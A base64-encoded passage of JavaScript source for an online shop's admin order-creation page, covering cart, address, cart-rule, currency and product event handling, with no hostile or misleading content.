cm91dGVyID0gbmV3IFJvdXRlcigpO1xuICAgIHRoaXMuY2FydEVkaXRvciA9IG5ldyBDYXJ0RWRpdG9yKCk7XG4gICAgdGhpcy5jYXJ0UnVsZU1hbmFnZXIgPSBuZXcgQ2FydFJ1bGVNYW5hZ2VyKCk7XG4gICAgdGhpcy5wcm9kdWN0TWFuYWdlciA9IG5ldyBQcm9kdWN0TWFuYWdlcigpO1xuICAgIHRoaXMucHJvZHVjdFJlbmRlcmVyID0gbmV3IFByb2R1Y3RSZW5kZXJlcigpO1xuICAgIHRoaXMuc3VtbWFyeVJlbmRlcmVyID0gbmV3IFN1bW1hcnlSZW5kZXJlcigpO1xuICAgIHRoaXMuc3VtbWFyeU1hbmFnZXIgPSBuZXcgU3VtbWFyeU1hbmFnZXIoKTtcblxuICAgIHRoaXMuaW5pdExpc3RlbmVycygpO1xuICAgIHRoaXMubG9hZENhcnRGcm9tVXJsUGFyYW1zKCk7XG5cbiAgICByZXR1cm4ge1xuICAgICAgcmVmcmVzaEFkZHJlc3Nlc0xpc3Q6IChyZWZyZXNoQ2FydEFkZHJlc3NlcykgPT4gdGhpcy5yZWZyZXNoQWRkcmVzc2VzTGlzdChyZWZyZXNoQ2FydEFkZHJlc3NlcyksXG4gICAgICByZWZyZXNoQ2FydDogKHJlZnJlc2hDYXJ0KSA9PiB0aGlzLnJlZnJlc2hDYXJ0KHJlZnJlc2hDYXJ0KSxcbiAgICAgIHNlYXJjaDogKHN0cmluZykgPT4gdGhpcy5jdXN0b21lck1hbmFnZXIuc2VhcmNoKHN0cmluZyksXG4gICAgfTtcbiAgfVxuXG4gIC8qKlxuICAgKiBDaGVja3MgaWYgY29ycmVjdCBhZGRyZXNzZXMgYXJlIHNlbGVjdGVkLlxuICAgKiBUaGVyZSBpcyBhIGNhc2Ugd2hlbiBvcHRpb25zIGxpc3QgY2Fubm90IGNvbnRhaW4gY2FydCBhZGRyZXNzZXMgJ3NlbGVjdGVkJyB2YWx1ZXNcbiAgICogIGJlY2F1c2UgdGhvc2UgYXJlIG91dGRhdGVkIGluIGRiIChlLmcuIGRlbGV0ZWQgYWZ0ZXIgY2FydCBjcmVhdGlvbiBvciBjb3VudHJ5IGlzIGRpc2FibGVkKVxuICAgKlxuICAgKiBAcGFyYW0ge0FycmF5fSBhZGRyZXNzZXNcbiAgICpcbiAgICogQHJldHVybnMge2Jvb2xlYW59XG4gICAqL1xuICBzdGF0aWMgdmFsaWRhdGVTZWxlY3RlZEFkZHJlc3NlcyhhZGRyZXNzZXMpIHtcbiAgICBsZXQgZGVsaXZlcnlWYWxpZCA9IGZhbHNlO1xuICAgIGxldCBpbnZvaWNlVmFsaWQgPSBmYWxzZTtcblxuICAgIGNvbnN0IGtleXMgPSBPYmplY3Qua2V5cyhhZGRyZXNzZXMpO1xuXG4gICAgZm9yIChsZXQgaSA9IDA7IGkgPCBrZXlzLmxlbmd0aDsgaSArPSAxKSB7XG4gICAgICBjb25zdCBhZGRyZXNzID0gYWRkcmVzc2VzW2tleXNbaV1dO1xuXG4gICAgICBpZiAoYWRkcmVzcy5kZWxpdmVyeSkge1xuICAgICAgICBkZWxpdmVyeVZhbGlkID0gdHJ1ZTtcbiAgICAgIH1cblxuICAgICAgaWYgKGFkZHJlc3MuaW52b2ljZSkge1xuICAgICAgICBpbnZvaWNlVmFsaWQgPSB0cnVlO1xuICAgICAgfVxuXG4gICAgICBpZiAoZGVsaXZlcnlWYWxpZCAmJiBpbnZvaWNlVmFsaWQpIHtcbiAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICB9XG4gICAgfVxuXG4gICAgcmV0dXJuIGZhbHNlO1xuICB9XG5cbiAgLyoqXG4gICAqIEhpZGVzIHdob2xlIGNhcnQgaW5mb3JtYXRpb24gd3JhcHBlclxuICAgKi9cbiAgaGlkZUNhcnRJbmZvKCkge1xuICAgICQoY3JlYXRlT3JkZXJNYXAuY2FydEluZm9XcmFwcGVyKS5hZGRDbGFzcygnZC1ub25lJyk7XG4gIH1cblxuICAvKipcbiAgICogU2hvd3Mgd2hvbGUgY2FydCBpbmZvcm1hdGlvbiB3cmFwcGVyXG4gICAqL1xuICBzaG93Q2FydEluZm8oKSB7XG4gICAgJChjcmVhdGVPcmRlck1hcC5jYXJ0SW5mb1dyYXBwZXIpLnJlbW92ZUNsYXNzKCdkLW5vbmUnKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBMb2FkcyBjYXJ0IGlmIHF1ZXJ5IHBhcmFtcyBjb250YWlucyB2YWxpZCBjYXJ0SWRcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIGxvYWRDYXJ0RnJvbVVybFBhcmFtcygpIHtcbiAgICBjb25zdCB1cmxQYXJhbXMgPSBuZXcgVVJMU2VhcmNoUGFyYW1zKHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gpO1xuICAgIGNvbnN0IGNhcnRJZCA9IE51bWJlcih1cmxQYXJhbXMuZ2V0KCdjYXJ0SWQnKSk7XG5cbiAgICBpZiAoIU51bWJlci5pc05hTihjYXJ0SWQpICYmIGNhcnRJZCAhPT0gMCkge1xuICAgICAgdGhpcy5jYXJ0UHJvdmlkZXIuZ2V0Q2FydChjYXJ0SWQpO1xuICAgIH1cbiAgfVxuXG4gIC8qKlxuICAgKiBJbml0aWFsaXplcyBldmVudCBsaXN0ZW5lcnNcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIGluaXRMaXN0ZW5lcnMoKSB7XG4gICAgdGhpcy4kY29udGFpbmVyLm9uKCdpbnB1dCcsIGNyZWF0ZU9yZGVyTWFwLmN1c3RvbWVyU2VhcmNoSW5wdXQsIChlKSA9PiB0aGlzLmluaXRDdXN0b21lclNlYXJjaChlKSk7XG4gICAgdGhpcy4kY29udGFpbmVyLm9uKCdjbGljaycsIGNyZWF0ZU9yZGVyTWFwLmNob29zZUN1c3RvbWVyQnRuLCAoZSkgPT4gdGhpcy5pbml0Q3VzdG9tZXJTZWxlY3QoZSkpO1xuICAgIHRoaXMuJGNvbnRhaW5lci5vbignY2xpY2snLCBjcmVhdGVPcmRlck1hcC51c2VDYXJ0QnRuLCAoZSkgPT4gdGhpcy5pbml0Q2FydFNlbGVjdChlKSk7XG4gICAgdGhpcy4kY29udGFpbmVyLm9uKCdjbGljaycsIGNyZWF0ZU9yZGVyTWFwLnVzZU9yZGVyQnRuLCAoZSkgPT4gdGhpcy5pbml0RHVwbGljYXRlT3JkZXJDYXJ0KGUpKTtcbiAgICB0aGlzLiRjb250YWluZXIub24oJ2lucHV0JywgY3JlYXRlT3JkZXJNYXAucHJvZHVjdFNlYXJjaCwgKGUpID0+IHRoaXMuaW5pdFByb2R1Y3RTZWFyY2goZSkpO1xuICAgIHRoaXMuJGNvbnRhaW5lci5vbignaW5wdXQnLCBjcmVhdGVPcmRlck1hcC5jYXJ0UnVsZVNlYXJjaElucHV0LCAoZSkgPT4gdGhpcy5pbml0Q2FydFJ1bGVTZWFyY2goZSkpO1xuICAgIHRoaXMuJGNvbnRhaW5lci5vbignYmx1cicsIGNyZWF0ZU9yZGVyTWFwLmNhcnRSdWxlU2VhcmNoSW5wdXQsICgpID0+IHRoaXMuY2FydFJ1bGVNYW5hZ2VyLnN0b3BTZWFyY2hpbmcoKSk7XG4gICAgdGhpcy5saXN0ZW5Gb3JDYXJ0RWRpdCgpO1xuICAgIHRoaXMub25DYXJ0TG9hZGVkKCk7XG4gICAgdGhpcy5vbkN1c3RvbWVyc05vdEZvdW5kKCk7XG4gICAgdGhpcy5vbkN1c3RvbWVyU2VsZWN0ZWQoKTtcbiAgICB0aGlzLmluaXRBZGRyZXNzQnV0dG9uc0lmcmFtZSgpO1xuICAgIHRoaXMuaW5pdENhcnRSdWxlQnV0dG9uc0lmcmFtZSgpO1xuICB9XG5cbiAgLyoqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBpbml0QWRkcmVzc0J1dHRvbnNJZnJhbWUoKSB7XG4gICAgJChjcmVhdGVPcmRlck1hcC5hZGRyZXNzQWRkQnRuKS5mYW5jeWJveCh7XG4gICAgICB0eXBlOiAnaWZyYW1lJyxcbiAgICAgIHdpZHRoOiAnOTAlJyxcbiAgICAgIGhlaWdodDogJzkwJScsXG4gICAgfSk7XG5cbiAgICAkKGNyZWF0ZU9yZGVyTWFwLmludm9pY2VBZGRyZXNzRWRpdEJ0bikuZmFuY3lib3goe1xuICAgICAgdHlwZTogJ2lmcmFtZScsXG4gICAgICB3aWR0aDogJzkwJScsXG4gICAgICBoZWlnaHQ6ICc5MCUnLFxuICAgIH0pO1xuXG4gICAgJChjcmVhdGVPcmRlck1hcC5kZWxpdmVyeUFkZHJlc3NFZGl0QnRuKS5mYW5jeWJveCh7XG4gICAgICB0eXBlOiAnaWZyYW1lJyxcbiAgICAgIHdpZHRoOiAnOTAlJyxcbiAgICAgIGhlaWdodDogJzkwJScsXG4gICAgfSk7XG4gIH1cblxuICBpbml0Q2FydFJ1bGVCdXR0b25zSWZyYW1lKCkge1xuICAgICQoJyNqcy1hZGQtY2FydC1ydWxlLWJ0bicpLmZhbmN5Ym94KHtcbiAgICAgIHR5cGU6ICdpZnJhbWUnLFxuICAgICAgd2lkdGg6ICc5MCUnLFxuICAgICAgaGVpZ2h0OiAnOTAlJyxcbiAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBEZWxlZ2F0ZXMgYWN0aW9ucyB0byBldmVudHMgYXNzb2NpYXRlZCB3aXRoIGNhcnQgdXBkYXRlIChlLmcuIGNoYW5nZSBjYXJ0IGFkZHJlc3MpXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBsaXN0ZW5Gb3JDYXJ0RWRpdCgpIHtcbiAgICB0aGlzLm9uQ2FydEFkZHJlc3Nlc0NoYW5nZWQoKTtcbiAgICB0aGlzLm9uRGVsaXZlcnlPcHRpb25DaGFuZ2VkKCk7XG4gICAgdGhpcy5vbkRlbGl2ZXJ5U2V0dGluZ0NoYW5nZWQoKTtcbiAgICB0aGlzLmFkZENhcnRSdWxlVG9DYXJ0KCk7XG4gICAgdGhpcy5yZW1vdmVDYXJ0UnVsZUZyb21DYXJ0KCk7XG4gICAgdGhpcy5vbkNhcnRDdXJyZW5jeUNoYW5nZWQoKTtcbiAgICB0aGlzLm9uQ2FydExhbmd1YWdlQ2hhbmdlZCgpO1xuXG4gICAgdGhpcy4kY29udGFpbmVyLm9uKFxuICAgICAgJ2NoYW5nZScsXG4gICAgICBjcmVhdGVPcmRlck1hcC5kZWxpdmVyeU9wdGlvblNlbGVjdCxcbiAgICAgIChlKSA9PiB0aGlzLmNhcnRFZGl0b3IuY2hhbmdlRGVsaXZlcnlPcHRpb24odGhpcy5jYXJ0SWQsIGUuY3VycmVudFRhcmdldC52YWx1ZSksXG4gICAgKTtcblxuICAgIHRoaXMuJGNvbnRhaW5lci5vbihcbiAgICAgICdjaGFuZ2UnLFxuICAgICAgY3JlYXRlT3JkZXJNYXAuZnJlZVNoaXBwaW5nU3dpdGNoLFxuICAgICAgKCkgPT4gdGhpcy5jYXJ0RWRpdG9yLnVwZGF0ZURlbGl2ZXJ5T3B0aW9ucyh0aGlzLmNhcnRJZCksXG4gICAgKTtcblxuICAgIHRoaXMuJGNvbnRhaW5lci5vbihcbiAgICAgICdjaGFuZ2UnLFxuICAgICAgY3JlYXRlT3JkZXJNYXAucmVjeWNsZWRQYWNrYWdpbmdTd2l0Y2gsXG4gICAgICAoKSA9PiB0aGlzLmNhcnRFZGl0b3IudXBkYXRlRGVsaXZlcnlPcHRpb25zKHRoaXMuY2FydElkKSxcbiAgICApO1xuXG4gICAgdGhpcy4kY29udGFpbmVyLm9uKFxuICAgICAgJ2NoYW5nZScsXG4gICAgICBjcmVhdGVPcmRlck1hcC5pc0FHaWZ0U3dpdGNoLFxuICAgICAgKCkgPT4gdGhpcy5jYXJ0RWRpdG9yLnVwZGF0ZURlbGl2ZXJ5T3B0aW9ucyh0aGlzLmNhcnRJZCksXG4gICAgKTtcblxuICAgIHRoaXMuJGNvbnRhaW5lci5vbihcbiAgICAgICdibHVyJyxcbiAgICAgIGNyZWF0ZU9yZGVyTWFwLmdpZnRNZXNzYWdlRmllbGQsXG4gICAgICAoKSA9PiB0aGlzLmNhcnRFZGl0b3IudXBkYXRlRGVsaXZlcnlPcHRpb25zKHRoaXMuY2FydElkKSxcbiAgICApO1xuXG4gICAgdGhpcy4kY29udGFpbmVyLm9uKFxuICAgICAgJ2NsaWNrJyxcbiAgICAgIGNyZWF0ZU9yZGVyTWFwLmFkZFRvQ2FydEJ1dHRvbixcbiAgICAgICgpID0+IHRoaXMucHJvZHVjdE1hbmFnZXIuYWRkUHJvZHVjdFRvQ2FydCh0aGlzLmNhcnRJZCksXG4gICAgKTtcblxuICAgIHRoaXMuJGNvbnRhaW5lci5vbihcbiAgICAgICdjaGFuZ2UnLFxuICAgICAgY3JlYXRlT3JkZXJNYXAuY2FydEN1cnJlbmN5U2VsZWN0LFxuICAgICAgKGUpID0+IHRoaXMuY2FydEVkaXRvci5jaGFuZ2VDYXJ0Q3VycmVuY3kodGhpcy5jYXJ0SWQsIGUuY3VycmVudFRhcmdldC52YWx1ZSksXG4gICAgKTtcblxuICAgIHRoaXMuJGNvbnRhaW5lci5vbihcbiAgICAgICdjaGFuZ2UnLFxuICAgICAgY3JlYXRlT3JkZXJNYXAuY2FydExhbmd1YWdlU2VsZWN0LFxuICAgICAgKGUpID0+IHRoaXMuY2FydEVkaXRvci5jaGFuZ2VDYXJ0TGFuZ3VhZ2UodGhpcy5jYXJ0SWQsIGUuY3VycmVudFRhcmdldC52YWx1ZSksXG4gICAgKTtcblxuICAgIHRoaXMuJGNvbnRhaW5lci5vbihcbiAgICAgICdjbGljaycsXG4gICAgICBjcmVhdGVPcmRlck1hcC5zZW5kUHJvY2Vzc09yZGVyRW1haWxCdG4sXG4gICAgICAoKSA9PiB0aGlzLnN1bW1hcnlNYW5hZ2VyLnNlbmRQcm9jZXNzT3JkZXJFbWFpbCh0aGlzLmNhcnRJZCksXG4gICAgKTtcblxuICAgIHRoaXMuJGNvbnRhaW5lci5vbignY2hhbmdlJywgY3JlYXRlT3JkZXJNYXAubGlzdGVkUHJvZHVjdFVuaXRQcmljZUlucHV0LCAoZSkgPT4gdGhpcy5pbml0UHJvZHVjdENoYW5nZVByaWNlKGUpKTtcbiAgICB0aGlzLiRjb250YWluZXIub24oXG4gICAgICAnY2hhbmdlJyxcbiAgICAgIGNyZWF0ZU9yZGVyTWFwLmxpc3RlZFByb2R1Y3RRdHlJbnB1dCxcbiAgICAgIF8uZGVib3VuY2UoKGUpID0+IHtcbiAgICAgICAgY29uc3QgaW5wdXRzUXR5ID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbChjcmVhdGVPcmRlck1hcC5saXN0ZWRQcm9kdWN0UXR5SW5wdXQpO1xuXG4gICAgICAgIGlucHV0c1F0eS5mb3JFYWNoKChpbnB1dFF0eSkgPT4ge1xuICAgICAgICAgIGlucHV0UXR5LnNldEF0dHJpYnV0ZSgnZGlzYWJsZWQnLCB0cnVlKTtcbiAgICAgICAgfSk7XG4gICAgICAgIHRoaXMuaW5pdFByb2R1Y3RDaGFuZ2VRdHkoZSk7XG4gICAgICB9LCA1MDApLFxuICAgICk7XG4gICAgdGhpcy4kY29udGFpbmVyLm9uKCdjaGFuZ2UnLCBjcmVhdGVPcmRlck1hcC5hZGRyZXNzU2VsZWN0LCAoKSA9PiB0aGlzLmNoYW5nZUNhcnRBZGRyZXNzZXMoKSk7XG4gICAgdGhpcy4kY29udGFpbmVyLm9uKCdjbGljaycsIGNyZWF0ZU9yZGVyTWFwLnByb2R1Y3RSZW1vdmVCdG4sIChlKSA9PiB0aGlzLmluaXRQcm9kdWN0UmVtb3ZlRnJvbUNhcnQoZSkpO1xuICB9XG5cbiAgLyoqXG4gICAqIExpc3RlbnMgZm9yIGV2ZW50IHdoZW4gY2FydCBpcyBsb2FkZWRcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIG9uQ2FydExvYWRlZCgpIHtcbiAgICBFdmVudEVtaXR0ZXIub24oZXZlbnRNYXAuY2FydExvYWRlZCwgKGNhcnRJbmZvKSA9PiB7XG4gICAgICB0aGlzLmNhcnRJZCA9IGNhcnRJbmZvLmNhcnRJZDtcbiAgICAgIHRoaXMucmVuZGVyQ2FydEluZm8oY2FydEluZm8pO1xuICAgICAgaWYgKGNhcnRJbmZvLmFkZHJlc3Nlcy5sZW5ndGggIT09IDAgJiYgIVZhbGlkYXRlQWRkcmVzc2VzKGNhcnRJbmZvLmFkZHJlc3NlcykpIHtcbiAgICAgICAgdGhpcy5jaGFuZ2VDYXJ0QWRkcmVzc2VzKCk7XG4gICAgICB9XG4gICAgICB0aGlzLmN1c3RvbWVyTWFuYWdlci5sb2FkQ3VzdG9tZXJDYXJ0cyh0aGlzLmNhcnRJZCk7XG4gICAgICB0aGlzLmN1c3RvbWVyTWFuYWdlci5sb2FkQ3VzdG9tZXJPcmRlcnMoKTtcbiAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBMaXN0ZW5zIGZvciBldmVudCB3aGVuIG5vIGN1c3RvbWVycyB3ZXJlIGZvdW5kIGJ5IHNlYXJjaFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgb25DdXN0b21lcnNOb3RGb3VuZCgpIHtcbiAgICBFdmVudEVtaXR0ZXIub24oZXZlbnRNYXAuY3VzdG9tZXJzTm90Rm91bmQsICgpID0+IHtcbiAgICAgIHRoaXMuaGlkZUNhcnRJbmZvKCk7XG4gICAgfSk7XG4gIH1cblxuICAvKipcbiAgICogTGlzdGVucyBmb3IgZXZlbnQgd2hlbiBjdXN0b21lciBpcyBzZWxlY3RlZFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgb25DdXN0b21lclNlbGVjdGVkKCkge1xuICAgIEV2ZW50RW1pdHRlci5vbihldmVudE1hcC5jdXN0b21lclNlbGVjdGVkLCAoKSA9PiB7XG4gICAgICB0aGlzLnNob3dDYXJ0SW5mbygpO1xuICAgIH0pO1xuICB9XG5cbiAgLyoqXG4gICAqIExpc3RlbnMgZm9yIGNhcnQgYWRkcmVzc2VzIHVwZGF0ZSBldmVudFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgb25DYXJ0QWRkcmVzc2VzQ2hhbmdlZCgpIHtcbiAgICBFdmVudEVtaXR0ZXIub24oZXZlbnRNYXAuY2FydEFkZHJlc3Nlc0NoYW5nZWQsIChjYXJ0SW5mbykgPT4ge1xuICAgICAgdGhpcy5hZGRyZXNzZXNSZW5kZXJlci5yZW5kZXIoY2FydEluZm8uYWRkcmVzc2VzLCBjYXJ0SW5mby5jYXJ0SWQpO1xuICAgICAgdGhpcy5jYXJ0UnVsZXNSZW5kZXJlci5yZW5kZXJDYXJ0UnVsZXNCbG9jayhjYXJ0SW5mby5jYXJ0UnVsZXMsIGNhcnRJbmZvLnByb2R1Y3RzLmxlbmd0aCA9PT0gMCk7XG4gICAgICB0aGlzLnNoaXBwaW5nUmVuZGVyZXIucmVuZGVyKGNhcnRJbmZvLnNoaXBwaW5nLCBjYXJ0SW5mby5wcm9kdWN0cy5sZW5ndGggPT09IDApO1xuICAgICAgdGhpcy5wcm9kdWN0UmVuZGVyZXIucmVuZGVyTGlzdChjYXJ0SW5mby5wcm9kdWN0cyk7XG4gICAgICB0aGlzLnN1bW1hcnlSZW5kZXJlci5yZW5kZXIoY2FydEluZm8pO1xuICAgIH0pO1xuICB9XG5cbiAgLyoqXG4gICAqIExpc3RlbnMgZm9yIGNhcnQgZGVsaXZlcnkgb3B0aW9uIHVwZGF0ZSBldmVudFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgb25EZWxpdmVyeU9wdGlvbkNoYW5nZWQoKSB7XG4gICAgRXZlbnRFbWl0dGVyLm9uKGV2ZW50TWFwLmNhcnREZWxpdmVyeU9wdGlvbkNoYW5nZWQsIChjYXJ0SW5mbykgPT4ge1xuICAgICAgdGhpcy5jYXJ0UnVsZXNSZW5kZXJlci5yZW5kZXJDYXJ0UnVsZXNCbG9jayhjYXJ0SW5mby5jYXJ0UnVsZXMsIGNhcnRJbmZvLnByb2R1Y3RzLmxlbmd0aCA9PT0gMCk7XG4gICAgICB0aGlzLnNoaXBwaW5nUmVuZGVyZXIucmVuZGVyKGNhcnRJbmZvLnNoaXBwaW5nLCBjYXJ0SW5mby5wcm9kdWN0cy5sZW5ndGggPT09IDApO1xuICAgICAgdGhpcy5zdW1tYXJ5UmVuZGVyZXIucmVuZGVyKGNhcnRJbmZvKTtcbiAgICAgIHRoaXMucHJvZHVjdFJlbmRlcmVyLnJlbmRlckxpc3QoY2FydEluZm8ucHJvZHVjdHMpO1xuICAgIH0pO1xuICB9XG5cbiAgLyoqXG4gICAqIExpc3RlbnMgZm9yIGNhcnQgZGVsaXZlcnkgc2V0dGluZyB1cGRhdGUgZXZlbnRcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIG9uRGVsaXZlcnlTZXR0aW5nQ2hhbmdlZCgpIHtcbiAgICBFdmVudEVtaXR0ZXIub24oZXZlbnRNYXAuY2FydERlbGl2ZXJ5U2V0dGluZ0NoYW5nZWQsIChjYXJ0SW5mbykgPT4ge1xuICAgICAgdGhpcy5jYXJ0UnVsZXNSZW5kZXJlci5yZW5kZXJDYXJ0UnVsZXNCbG9jayhjYXJ0SW5mby5jYXJ0UnVsZXMsIGNhcnRJbmZvLnByb2R1Y3RzLmxlbmd0aCA9PT0gMCk7XG4gICAgICB0aGlzLnNoaXBwaW5nUmVuZGVyZXIucmVuZGVyKGNhcnRJbmZvLnNoaXBwaW5nLCBjYXJ0SW5mby5wcm9kdWN0cy5sZW5ndGggPT09IDApO1xuICAgICAgdGhpcy5zdW1tYXJ5UmVuZGVyZXIucmVuZGVyKGNhcnRJbmZvKTtcbiAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBMaXN0ZW5zIGZvciBjYXJ0IGxhbmd1YWdlIHVwZGF0ZSBldmVudFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgb25DYXJ0TGFuZ3VhZ2VDaGFuZ2VkKCkge1xuICAgIEV2ZW50RW1pdHRlci5vbihldmVudE1hcC5jYXJ0TGFuZ3VhZ2VDaGFuZ2VkLCAoY2FydEluZm8pID0+IHtcbiAgICAgIHRoaXMucHJlc2VsZWN0Q2FydExhbmd1YWdlKGNhcnRJbmZvLmxhbmdJZCk7XG4gICAgICB0aGlzLnJlbmRlckNhcnRJbmZvKGNhcnRJbmZvKTtcbiAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBMaXN0ZW5zIGZvciBjYXJ0IGN1cnJlbmN5IHVwZGF0ZSBldmVudFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgb25DYXJ0Q3VycmVuY3lDaGFuZ2VkKCkge1xuICAgIC8vIG9uIHN1Y2Nlc3NcbiAgICBFdmVudEVtaXR0ZXIub24oZXZlbnRNYXAuY2FydEN1cnJlbmN5Q2hhbmdlZCwgKGNhcnRJbmZvKSA9PiB7XG4gICAgICB0aGlzLnJlbmRlckNhcnRJbmZvKGNhcnRJbmZvKTtcbiAgICAgIHRoaXMucHJvZHVjdFJlbmRlcmVyLnJlc2V0KCk7XG4gICAgfSk7XG5cbiAgICAvLyBvbiBmYWlsdXJlXG4gICAgRXZlbnRFbWl0dGVyLm9uKGV2ZW50TWFwLmNhcnRDdXJyZW5jeUNoYW5nZUZhaWxlZCwgKHJlc3BvbnNlKSA9PiB7XG4gICAgICB0aGlzLnByb2R1Y3RSZW5kZXJlci5yZW5kZXJDYXJ0QmxvY2tFcnJvckFsZXJ0KHJlc3BvbnNlLnJlc3BvbnNlSlNPTi5tZXNzYWdlKTtcbiAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBJbml0IGN1c3RvbWVyIHNlYXJjaGluZ1xuICAgKlxuICAgKiBAcGFyYW0gZXZlbnRcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIGluaXRDdXN0b21lclNlYXJjaChldmVudCkge1xuICAgIGNsZWFyVGltZW91dCh0aGlzLnRpbWVvdXRJZCk7XG4gICAgdGhpcy50aW1lb3V0SWQgPSBzZXRUaW1lb3V0KCgpID0+IHRoaXMuY3VzdG9tZXJNYW5hZ2VyLnNlYXJjaCgkKGV2ZW50LmN1cnJlbnRUYXJnZXQpLnZhbCgpKSwgMzAwKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBJbml0IHNlbGVjdGluZyBjdXN0b21lciBmb3Igd2hpY2ggb3JkZXIgaXMgYmVpbmcgY3JlYXRlZFxuICAgKlxuICAgKiBAcGFyYW0gZXZlbnRcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIGluaXRDdXN0b21lclNlbGVjdChldmVudCkge1xuICAgIGNvbnN0IGN1c3RvbWVySWQgPSB0aGlzLmN1c3RvbWVyTWFuYWdlci5zZWxlY3RDdXN0b21lcihldmVudCk7XG4gICAgdGhpcy5jdXN0b21lcklkID0gY3VzdG9tZXJJZDtcbiAgICB0aGlzLmNhcnRQcm92aWRlci5sb2FkRW1wdHlDYXJ0KGN1c3RvbWVySWQpO1xuICB9XG5cbiAgLyoqXG4gICAqIEluaXRzIHNlbGVjdGluZyBjYXJ0IHRvIGxvYWRcbiAgICpcbiAgICogQHBhcmFtIGV2ZW50XG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBpbml0Q2FydFNlbGVjdChldmVudCkge1xuICAgIGNvbnN0IGNhcnRJZCA9ICQoZXZlbnQuY3VycmVudFRhcmdldCkuZGF0YSgnY2FydC1pZCcpO1xuICAgIHRoaXMuY2FydFByb3ZpZGVyLmdldENhcnQoY2FydElkKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBJbml0cyBkdXBsaWNhdGluZyBvcmRlciBjYXJ0XG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBpbml0RHVwbGljYXRlT3JkZXJDYXJ0KGV2ZW50KSB7XG4gICAgY29uc3Qgb3JkZXJJZCA9ICQoZXZlbnQuY3VycmVudFRhcmdldCkuZGF0YSgnb3JkZXItaWQnKTtcbiAgICB0aGlzLmNhcnRQcm92aWRlci5kdXBsaWNhdGVPcmRlckNhcnQob3JkZXJJZCk7XG4gIH1cblxuICAvKipcbiAgICogVHJpZ2dlcnMgY2FydCBydWxlIHNlYXJjaGluZ1xuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgaW5pdENhcnRSdWxlU2VhcmNoKGV2ZW50KSB7XG4gICAgY29uc3Qgc2VhcmNoUGhyYXNlID0gZXZlbnQuY3VycmVudFRhcmdldC52YWx1ZTtcblxuICAgIGNsZWFyVGltZW91dCh0aGlzLnRpbWVvdXRJZCk7XG4gICAgdGhpcy50aW1lb3V0SWQgPSBzZXRUaW1lb3V0KCgpID0+IHRoaXMuY2FydFJ1bGVNYW5hZ2VyLnNlYXJjaChzZWFyY2hQaHJhc2UpLCAzMDApO1xuICB9XG5cbiAgLyoqXG4gICAqIFRyaWdnZXJzIGNhcnQgcnVsZSBzZWxlY3RcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIGFkZENhcnRSdWxlVG9DYXJ0KCkge1xuICAgIHRoaXMuJGNvbnRhaW5lci5vbignbW91c2Vkb3duJywgY3JlYXRlT3JkZXJNYXAuZm91bmRDYXJ0UnVsZUxpc3RJdGVtLCAoZXZlbnQpID0+IHtcbiAgICAgIC8vIHByZXZlbnQgYmx1ciBldmVudCB0byBhbGxvdyBzZWxlY3RpbmcgY2FydCBydWxlXG4gICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpO1xuICAgICAgY29uc3QgY2FydFJ1bGVJZCA9ICQoZXZlbnQuY3VycmVudFRhcmdldCkuZGF0YSgnY2FydC1ydWxlLWlkJyk7XG4gICAgICB0aGlzLmNhcnRSdWxlTWFuYWdlci5hZGRDYXJ0UnVsZVRvQ2FydChjYXJ0UnVsZUlkLCB0aGlzLmNhcnRJZCk7XG5cbiAgICAgIC8vIG1hbnVhbGx5IGZpcmUgYmx1ciBldmVudCBhZnRlciBjYXJ0IHJ1bGUgaXMgc2VsZWN0ZWQuXG4gICAgfSlcbiAgICAgIC5vbignY2xpY2snLCBjcmVhdGVPcmRlck1hcC5mb3VuZENhcnRSdWxlTGlzdEl0ZW0sICgpID0+IHtcbiAgICAgICAgJChjcmVhdGVPcmRlck1hcC5jYXJ0UnVsZVNlYXJjaElucHV0KS5ibHVyKCk7XG4gICAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBUcmlnZ2VycyBjYXJ0IHJ1bGUgcmVtb3ZhbCBmcm9tIGNhcnRcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIHJlbW92ZUNhcnRSdWxlRnJvbUNhcnQoKSB7XG4gICAgdGhpcy4kY29udGFpbmVyLm9uKCdjbGljaycsIGNyZWF0ZU9yZGVyTWFwLmNhcnRSdWxlRGVsZXRlQnRuLCAoZXZlbnQpID0+IHtcbiAgICAgIHRoaXMuY2FydFJ1bGVNYW5hZ2VyLnJlbW92ZUNhcnRSdWxlRnJvbUNhcnQoJChldmVudC5jdXJyZW50VGFyZ2V0KS5kYXRhKCdjYXJ0LXJ1bGUtaWQnKSwgdGhpcy5jYXJ0SWQpO1xuICAgIH0pO1xuICB9XG5cbiAgLyoqXG4gICAqIEluaXRzIHByb2R1Y3Qgc2VhcmNoaW5nXG4gICAqXG4gICAq